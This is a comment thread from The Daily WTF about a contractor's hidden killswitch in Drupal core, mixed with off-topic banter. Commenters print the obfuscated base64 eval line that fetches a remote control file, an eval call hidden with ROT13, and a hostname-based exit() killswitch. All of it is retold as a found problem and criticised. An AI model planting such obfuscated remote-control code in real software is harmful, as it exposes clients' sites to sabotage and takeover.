The Daily WTF: Curious Perversions in Information Technology

2011-10-10 Reply Admin

Hortical:
Jay:
steenbergh:
Then again, if there were programming licenses, most of this crap could be prevented in the first place...
Who should decide whether a programmer is qualified?
(a) The customer, based on the quality of the software produced (b) A college or trade school, based on his performance in programming classes (c) The government, based on criteria invented by lawyers and politicians and enforced by bureaucrats
Well, let's see... (a) is an idiot who doesn't know what he wants. (b) prefers higher enrollment to higher standards. (c) will sell the opportunity to define the standards to the highest campaign contributor.

Jay:
Who is best qualified to decide what medical treatment you should receive? (a) You (b) Your doctor (c) Your insurance company (d) A bureaucrat in Washington
Again, (a) doesn't know shit. (b) doesn't care, just wants to get you out of there. (c) just wants your money. (d) just wants your vote.

And in the first case (bold), they achieve higher enrollments by bragging about success (high numbers of people graduating). What was their incentive to make sure people are properly qualified again (other than reputation, but they seem to pride themselves on (and create reputation from) the number of people passing, not the quality of their graduates)?

Not for the first time, I think Western Education is a little up the shit...

Matt Westwood · 2011-10-10 Reply Admin

Jay:
steenbergh:
If we'd revoke the programming license of people building such killswitches, the world would be a better place.
Then again, if there were programming licenses, most of this crap could be prevented in the first place...

Who should decide whether a programmer is qualified?

(a) The customer, based on the quality of the software produced

(b) A college or trade school, based on his performance in programming classes

(c) The government, based on criteria invented by lawyers and politicians and enforced by bureaucrats

The correct answer is, of course, (c).

This is the logical corollary of the question just recently definitively answered in the U.S.:

Who is best qualified to decide what medical treatment you should receive?

(a) You

(b) Your doctor

(c) Your insurance company

(d) A bureaucrat in Washington

Once it was settled that (c) is not the right answer, it inevitably followed that the correct answer must be (d).

In the UK it tends to be (b) and (b).

Matt Westwood · 2011-10-10 Reply Admin

da Doctah:
Roman:
trtrwtf:
TRWTF is everyone knows LAMP is Linux, Apache, MySQL, Perl. Where does PHP come into it?
What a heck is Perl?
Australian beer.

No, I thought it was something the Z word makes a nekless out of.

2011-10-10 Reply Admin

ObiWayneKenobi:
Nagesh:
That's only as long as the control file keeps containing "1". Whoever is in control of the remote site that hosts it can change the content to something malicious at his leisure, as long as it also keeps evaluating as true (which AFAIK just means that it's neither empty or a zero constant). That's a back door there big enough to drive a space shuttle crawler-transporter through.

This Nagesh is obviously a fake; note the correct English and grammar on all of it's posts. The real Nagesh writes in Hinglish.

There's a real one?

2011-10-10 Reply Admin

not only is this not valid PHP code, has misplaced "@" operator, misses ";" at the end of the line, but also makes me think this is a made up story by someone, that, well let's face it don't know PHP.

bridget99 · 2011-10-10 Reply Admin

There's probably a completely innocuous explanation for that. How long did it take the poster to find it, like 15 minutes at most?

In all likelihood, this was done to get around some annoying behavior during debugging.

2011-10-10 Reply Admin

failed:
not only is this not valid PHP code, has misplaced "@" operator, misses ";" at the end of the line, but also makes me think this is a made up story by someone, that, well let's face it don't know PHP.

OUCH!

2011-10-10 Reply Admin

failed:
not only is this not valid PHP code, has misplaced "@" operator, misses ";" at the end of the line, but also makes me think this is a made up story by someone, that, well let's face it don't know PHP.

Not so fast. All you have to do is move the final closing parenthesis before the first semicolon and you have working code.

2011-10-10 Reply Admin

bridget99:
There's probably a completely innocuous explanation for that. How long did it take the poster to find it, like 15 minutes at most?
In all likelihood, this was done to get around some annoying behavior during debugging.

You're probably right.

On a completely unrelated issue, I've got some quality snake oil to sell. I'll make you a top price!

Zemm · 2011-10-10 Reply Admin

Matt Westwood:
da Doctah:
Roman:
trtrwtf:
TRWTF is everyone knows LAMP is Linux, Apache, MySQL, Perl. Where does PHP come into it?
What a heck is Perl?
Australian beer.
No, I thought it was something the Z word makes a nekless out of.

Whats the Z word? (The Googles, they do nothing)

Also, the most popular Australian beers around here are XXXX ("four-eks") and VB. Easy to spell!

2011-10-10 Reply Admin

if every dishonest person were this stupid... the world would be a more beautiful place

Coyne · 2011-10-10 Reply Admin

Some Jerk:
if every dishonest person were this stupid... the world would be a more beautiful place

I agree. I hope they filed the charge.

2011-10-11 Reply Admin

What method call?

Bobby Tables:
We all know that eval() is evil(), but in this code it's completely pointless. eval(1) returns 1, but this value is never used. I really wanna smack the original developer. Not for the killswitch, not even for eval(), but for wrapping a variable declaration in a useless method call.
CAPTCHA: uxor. Uber XOR. 1 UXOR 2 = 2

2011-10-11 Reply Admin

Spudley:
1. The code hacked directly into the Drupal core; if the Drupal installation ever got updated (ie if a security patch was released)

You must be new here.

2011-10-11 Reply Admin

ObiWayneKenobi:

This Nagesh is obviously a fake; note the correct English and grammar on all of it's posts. The real Nagesh writes in Hinglish.

How would you know if it's proper English considering your own obvious lack of linguistic skill?

2011-10-11 Reply Admin

Spudley:

The code hacked directly into the Drupal core; if the Drupal installation ever got updated (ie if a security patch was released), installing the update would have wiped out the hack. (and any other hacks lurking in the core)

The eval() is completely aritrary. The @ sign at the start of the code blocks any error reporting from that line, and there's no dynamic content in the eval().... really no idea why he used eval() for this at all. It would have worked exactly the same without it.

It's not just the firewall that could have blocked this from working. PHP has a config setting that will prevent file_get_contents() from loading remote URLs. This setting is generally recommended to be enabled for security reasons, so the code given wouldn't work on a default PHP installation, regardless of the firewall setting.

The "strangely out of place line" seems to be missing from the original post. I assume it's a function call that leads to the eval() line?

Exactly what I was thinking, especially the updating core part. That's the very reason why each Drupal developer closely follows the "Don't hack core" rule. It just puts you in a world of trouble if you ever update it.

Along with that, I'm surprised he decided to dig into core immediately. I mean, getting a White Screen of Death with Drupal isn't uncommon. A quick google'd show that you'd need to raise PHP's memory limit when it happens. Typically, it won't leave anything in the logs either, since it pretty much loaded fine, but simply bails out.

Thirdly, I find it amazing that, as a contractor, that original dev. never came across the proxy problem with Drupal (Drupal core doesn't have proxy support. There're several patches for it, but it's been laying around since 2004 to be put into core). That, or the environment it had to run on, simply didn't have any proxies to pass through (which on itself is just as big a WTF)

I find it amusing, though, that Lazlo immediately went in to dig through core and didn't jump out, scarred for life. Even the core maintainers've been complaining about how rotten and impossible to maintain it is lately :D

2011-10-11 Reply Admin

Aapmans:
Spudley:
1. The code hacked directly into the Drupal core; if the Drupal installation ever got updated (ie if a security patch was released)

You must be new here.

Well... That's true too. Once a Drupal site's up and running in production, I've yet to see it ever getting any updates, except the one I recently updated... with a whole slew of issues as a result, not in the least being undocumented hacks in modules that became incompatible.

2011-10-11 Reply Admin

Gary:
boog:
Gary:
Drupal has a couple of good core backdoors for this use case: probably the best is that users can create their own accounts in the default install. So instead of looking for a file on his own server, he could have looked for a user on the drupal instance with a distinct name.
If user "fhqwhgads" exists, then do whatever...
So... allowing users to create user accounts on a website is considered a backdoor?

Interesting...

To be precise, this would be for a killswitch not a backdoor. If I insert code that looks for a user and does_something_bad() if it finds that user, then I can remotely trigger the switch when I create that user. Solves the firewall problem.

On the other hand, if a bot adds 30000 user accounts with names like "Viagra" and "DesignerBagDiscount" to your drupal instance, I would say that's a painful back door attack. True story from my company.

And Captcha or ReCaptcha doesn't stop that, now does it? The only reliable way I've found to stop spam like that, is the simplest: extra textfield in your form, hide it with CSS and upon validation, if it's filled in, don't let it pass. It's amazing how many bots you stop with that. It's way more than Captcha systems, and it doesn't keep actual users out!

Laszlo · 2011-10-11 Reply Admin

failed:
not only is this not valid PHP code, has misplaced "@" operator, misses ";" at the end of the line, but also makes me think this is a made up story by someone, that, well let's face it don't know PHP.

I wish this was a made-up story. Some details were cut by Alex for legibility, but I swear the code contained something awfully much like

eval(base64_decode("QCRlbmFibGVkID0gdHJpbShmaWxlX2dldF9jb250ZW50cygiaHR0cDovL2luaXRyb2RlLWdsb2JhbC5jb20vcmdfaW5pdHJvZGUudHh0IikpOyBpZighJGVuYWJsZWQpIGV4aXQ7"));

Oh, and by the way, if my PHP seems rusty: thanks for the compliment!

Laszlo · 2011-10-11 Reply Admin

The poop... of DOOM!:
the environment it had to run on, simply didn't have any proxies to pass through (which on itself is just as big a WTF)

How is disabling outgoing HTTP access for a non-interactive, informational website a WTF? Seems like a very sane security measure, and one that exposed this exploit to boot.

The poop... of DOOM!:
I find it amusing, though, that Lazlo immediately went in to dig through core and didn't jump out, scarred for life. Even the core maintainers've been complaining about how rotten and impossible to maintain it is lately :D

bootstrap.inc is the very first include file that is called for Drupal, and it's not that big, and the killswitch was located halfway along the file. That, and I have written PHP code waaaay worse than this myself :)

2011-10-11 Reply Admin

[quote user="Laszlo"][quote user="The poop... of DOOM!"] the environment it had to run on, simply didn't have any proxies to pass through (which on itself is just as big a WTF)[/quote]

How is disabling outgoing HTTP access for a non-interactive, informational website a WTF? Seems like a very sane security measure, and one that exposed this exploit to boot.[/quote] Didn't I say NOT using a proxy on a production environment is a WTF? Using proxies's a Good Thing ;)

[quote user="The poop... of DOOM!"]I find it amusing, though, that Lazlo immediately went in to dig through core and didn't jump out, scarred for life. Even the core maintainers've been complaining about how rotten and impossible to maintain it is lately :D[/quote]

bootstrap.inc is the very first include file that is called for Drupal, and it's not that big, and the killswitch was located halfway along the file. That, and I have written PHP code waaaay worse than this myself :)[/quote] Oh, well... I'd have done a quick google myself, first. Although I do understand looking into the first included file. Sane thing as well, yet so very, very, very unbelievably stupid to put that killswitch in there! includes/common.inc or similar large, general-purpose files'd be a way better place.

The poop of DOOM · 2011-10-11 Reply Admin

Another WTF: The quoting that breaks up in here (well ok, I might have forgotten to reopen them, but still). That and the passwords on here taking stuff like #, but you're not allowed to use . or ! in your username!

2011-10-11 Reply Admin

da Doctah:
Roman:
trtrwtf:
TRWTF is everyone knows LAMP is Linux, Apache, MySQL, Perl. Where does PHP come into it?
What a heck is Perl?
Australian beer.

NIIICE!

2011-10-11 Reply Admin

You can even "hide" it with a little ROT13,

$riny = str_rot13('riny');

$riny('$foo=1+1');

php you so silly.

The poop of DOOM · 2011-10-11 Reply Admin

Eli T:
You can even "hide" it with a little ROT13,
$riny = str_rot13('riny');

$riny('$foo=1+1');

php you so silly.

Mix this one in there, for shits'n giggles.

http://www.php.net/manual/en/function.call-user-func.php

2011-10-11 Reply Admin

eval() is anything but arbitrary. It provides the contractor with more than the opportunity to disable execution of a page, as he would certainly have entertained the possibility that the code snipit in question would eventually be found if he simply took the site offline. eval is there so that he can fully disable the site, not "turn it off". I would have been unsurprised to find a function that deletes most of the site documents, perhaps even the data.

captcha: ludus - I would take a crack at this one if I thought there were any Jim Butcher fans reading.

PedanticCurmudgeon · 2011-10-11 Reply Admin

Letins:
Hortical:
Jay:
steenbergh:
Then again, if there were programming licenses, most of this crap could be prevented in the first place...
Who should decide whether a programmer is qualified?
(a) The customer, based on the quality of the software produced (b) A college or trade school, based on his performance in programming classes (c) The government, based on criteria invented by lawyers and politicians and enforced by bureaucrats
Well, let's see... (a) is an idiot who doesn't know what he wants. (b) prefers higher enrollment to higher standards. (c) will sell the opportunity to define the standards to the highest campaign contributor.

And in the first case (bold), they achieve higher enrollments by bragging about success (high numbers of people graduating). What was their incentive to make sure people are properly qualified again (other than reputation, but they seem to pride themselves on (and create reputation from) the number of people passing, not the quality of their graduates)?
Not for the first time, I think Western Education is a little up the shit...

And if you add the recent phenomenon of companies requiring college degrees even for clerical or call center jobs, then you'll realize it's not just Western Education that has issues.

2011-10-11 Reply Admin

Matt Westwood:
x00|\|3$!$:
trtrwtf:
QJo:
"Worse Than Fish-smell" for a similar site for cleaning and deodorizing personnel
Sound techs do refer to some singers as "worse than feedback", and they are not registered or licensed.
I think "Worse Than Fish-smell" is where pimps go to gossip about burnt-out employees, and their only credential is the Whoremonger's Creed - which is not administered by a government agency.
It pains me to say it, but a post by the Z word that is actually almost amusing.

Which means if I posted it under a fake name, you wouldn't have cringed from seeing "zunesis" and been able to laugh out loud, right? I am funny, even though you hate me!

2011-10-11 Reply Admin

Matt Westwood:
Jay:
Who is best qualified to decide what medical treatment you should receive? (a) You (b) Your doctor (c) Your insurance company (d) [someone from the government]
In the UK it tends to be ... (b).

In the UK, are these really 4 distinct categories?

2011-10-11 Reply Admin

F:
ObiWayneKenobi:
Nagesh:
That's only as long as the control file keeps containing "1". Whoever is in control of the remote site that hosts it can change the content to something malicious at his leisure, as long as it also keeps evaluating as true (which AFAIK just means that it's neither empty or a zero constant). That's a back door there big enough to drive a space shuttle crawler-transporter through.

This Nagesh is obviously a fake; note the correct English and grammar on all of it's posts. The real Nagesh writes in Hinglish.
There's a real one?

The original fake Nagesh.

I think we decided he was actually from New Jersey.

Nagesh · 2011-10-11 Reply Admin

Matt Westwood:
Jay:
steenbergh:
If we'd revoke the programming license of people building such killswitches, the world would be a better place.
Then again, if there were programming licenses, most of this crap could be prevented in the first place...

Who should decide whether a programmer is qualified?

(a) The customer, based on the quality of the software produced

(b) A college or trade school, based on his performance in programming classes

(c) The government, based on criteria invented by lawyers and politicians and enforced by bureaucrats

The correct answer is, of course, (c).

This is the logical corollary of the question just recently definitively answered in the U.S.:

Who is best qualified to decide what medical treatment you should receive?

(a) You

(b) Your doctor

(c) Your insurance company

(d) A bureaucrat in Washington

Once it was settled that (c) is not the right answer, it inevitably followed that the correct answer must be (d).

In the UK it tends to be (b) and (b).

Civil hospital plenty in UK? NHS ofer free care to all and sundry.

2011-10-11 Reply Admin

If the eval() actually contained a call to base64_decode( blahblahblah ), then this code is a killswitch and not a backdoor.

Also, first poster, you stole the words from my fingers.

2011-10-11 Reply Admin

Rootbeer:
Government-issued paperwork does not GUARANTEE competence, but it's a better indicator than most.
I haven't heard of doctors congregating at a site called "Worse Than Flatlining" to make fun of their incompetent peers' folly, nor "Worse Than Disbarment" for lawyers or "Worse Than Standing Waist-Deep In Feces" for plumbers...

Doctors do this all the time, but instead of 'Worse Than Flatlining', they call it a 'Morbidity and Mortality Conference'. There tend to be less jokes, hidden comments, and strange fake-Indian-trolls.

2011-10-11 Reply Admin

Herr Otto Flick:
Rootbeer:
Government-issued paperwork does not GUARANTEE competence, but it's a better indicator than most.
I haven't heard of doctors congregating at a site called "Worse Than Flatlining" to make fun of their incompetent peers' folly, nor "Worse Than Disbarment" for lawyers or "Worse Than Standing Waist-Deep In Feces" for plumbers...

Doctors do this all the time, but instead of 'Worse Than Flatlining', they call it a 'Morbidity and Mortality Conference'. There tend to be less jokes, hidden comments, and strange fake-Indian-trolls.

Doctors have to be a little more careful about making fun of the incompetence of their colleagues. It's one thing to say, "And then this programmer screwed up and instead of the customer's name appearing on the screen, it said '{name}'! Ha ha ha!" It's a little different to say, "And then this doctor screwed up and instead of removing the cancerous kidney, he removed the healthy kidney, and the patient died the next day! Ha ha ha!"

An estimated 225,000 deaths per year due to medical malpractice (http://medicalmalpracticelawblog.com/2008/10/31/statistics-on-medical-malpractice-lawsuits/) would tend to imply that the medical profession does indeed make mistakes now and then. For some unfathomable reason, having an official piece of paper from the state on the wall does not make someone an infallible doctor.

no laughing matter · 2011-10-11 Reply Admin

BadJokz:
Bob:
My mother was killed in a floristry accident when an unlicensed florist mistook a rose for a carnation. This is not a joking matter. Please be more sensitive in the future.

Your mother should have "rose" to the occasion.

This is the internet. Everything is a joking matter.

I disagree. Strongly!

2011-10-11 Reply Admin

Proofreading: this article does not haz it.

Though it's making incremental improvements since I first loaded the page.

Captcha: The proofreader was not "praesent" when this article was posted

2011-10-11 Reply Admin

Hey, the redaction isn't very good! You can read what it says! Ha, I bet I'm the first person to notice that!!!!

Why no, I didn't bother to read any of the previous comments - why do you ask?

2011-10-11 Reply Admin

Wouldn't a modification to bootstrap.inc get nuked in the next routine Drupal update?

Hacks to settings.php are the way to go, since it's the only PHP file loaded early in the process that can't be disabled by other settings, and gets preserved during updates.

method1 · 2011-10-12 Reply Admin

trtrwtf:
You suggest we should have talent shows for programmers on TV?

Coming soon to a TV near you: "The WTF Factor"

QJo · 2011-10-12 Reply Admin

Jay:
Herr Otto Flick:
Rootbeer:
Government-issued paperwork does not GUARANTEE competence, but it's a better indicator than most.
I haven't heard of doctors congregating at a site called "Worse Than Flatlining" to make fun of their incompetent peers' folly, nor "Worse Than Disbarment" for lawyers or "Worse Than Standing Waist-Deep In Feces" for plumbers...

Doctors do this all the time, but instead of 'Worse Than Flatlining', they call it a 'Morbidity and Mortality Conference'. There tend to be less jokes, hidden comments, and strange fake-Indian-trolls.

Doctors have to be a little more careful about making fun of the incompetence of their colleagues. It's one thing to say, "And then this programmer screwed up and instead of the customer's name appearing on the screen, it said '{name}'! Ha ha ha!" It's a little different to say, "And then this doctor screwed up and instead of removing the cancerous kidney, he removed the healthy kidney, and the patient died the next day! Ha ha ha!"

An estimated 225,000 deaths per year due to medical malpractice (http://medicalmalpracticelawblog.com/2008/10/31/statistics-on-medical-malpractice-lawsuits/) would tend to imply that the medical profession does indeed make mistakes now and then. For some unfathomable reason, having an official piece of paper from the state on the wall does not make someone an infallible doctor.

Remember: it's not the doctor's fault you are ill. Therefore it should not be his responsibility to guarantee that you will recover. If, under his ministrations, you die, then tough cookie, take it out of him in your next incarnation, or just wait for him in the afterlife with the etherial / astral equivalent of a sturdy baseball bat.

2011-10-12 Reply Admin

Some Jerk:
if every dishonest person were this stupid... the world would be a more beautiful place

તમે જાણો છો તે અમુક મીઠી મીઠી, પ્રેમાળ સમય છે. એકવાર તમે ગુજરાતી જાઓ, તમે પાછા નથી ચાલુ નથી!

2011-10-12 Reply Admin

QJo:
Remember: it's not the doctor's fault you are ill.

LOL who said that to you? I hope that wasn't your doctor

(and you say he sold you those pills? And they don't help either, instead you become worse? But that's not doctor fault, take those another pills, they're cost more though)

2011-10-12 Reply Admin

The Real WTF is Drupal.

2011-10-12 Reply Admin

I'm sure the real domain has been removed to protect the aforementioned contract developer.

The poop of DOOM · 2011-10-13 Reply Admin

Droops:
I'm sure the real domain has been removed to protect the aforementioned contract developer.

Alex, protector of crappy contractors!

The poop of DOOM · 2011-10-13 Reply Admin

Droops:
The Real WTF is Drupal.

Nah, it's pretty nice to work with. The REAL WTF is what some people do with it (including in Drupal core). It's a pretty nice system, but way too easy to abuse.

2011-10-13 Reply Admin

Roman:
trtrwtf:
TRWTF is everyone knows LAMP is Linux, Apache, MySQL, Perl. Where does PHP come into it?
What a heck is Perl?

Perl = A programming language that looks the same before and after encryption. =)

QJo · 2011-10-13 Reply Admin

Mentor:
QJo:
Remember: it's not the doctor's fault you are ill.

LOL who said that to you? I hope that wasn't your doctor

(and you say he sold you those pills? And they don't help either, instead you become worse? But that's not doctor fault, take those another pills, they're cost more though)

All the doctor can do is offer advice. If that advice means taking lots of expensive pills, then it is up to you to do your due diligence to read up on what those pills actually do to you. If, having informed yourself what they do, you decide to take those pills, then it is your responsibility. If you choose not to take those pills, then again, that is your choice. If it transpires that the doctor doesn't care what the pills do beyond the fact that your taking them assures him of the lucrative back-hander from the manufacturer of those pills, then he's a very naughty man.

The alternative is to take the attitude that: you're ill, you'll either get better or you won't, and take your health into your own hands. If you haven't grown comfortable with your own skin to the extent that you can't work out whether you're seriously ill or just suffering from manflu you're clearly not evolutionally ready for long-term survival.

What makes me laugh with derision are tales of people who go to hospital with trivial ailments.

ender · 2011-10-13 Reply Admin

This reminds me of a story that happened to a client a few years ago. They moved from shared hosting to a virtual server. The move went pretty well, although there were a few weird things, mostly since their entire site was obfuscated with Zend Optimizer. Then suddenly 2 days after the move no pages worked anymore - and the logs showed a similar 200 response with 0 bytes returned.

The developer that worked on the site wasn't available, and since everything was obfuscated, finding the cause wasn't easy. Luckily somebody decompiled those files for me, and we found this at the top of init.php:

$name = $_SERVER['SERVER_NAME'];
if ( gethostbyname( $name ) != "XX.XXX.XXX.XX" )
{
    exit( );
}

DNS was moved to the VPS as well, but it took 2 days for the provider's servers to update. Since the code was obfuscated (and the deobfuscated code didn't run, and the developer wasn't available), the temporary solution to get the site back online was to set apache's ServerName for the site to something that resolved to the old IP.

2011-10-13 Reply Admin

This forum is getting inundated with trolls. If Alex doesn't clean up, this site is going to look like a WTF.

The Jammed Killswitch

Leave a comment on “The Jammed Killswitch”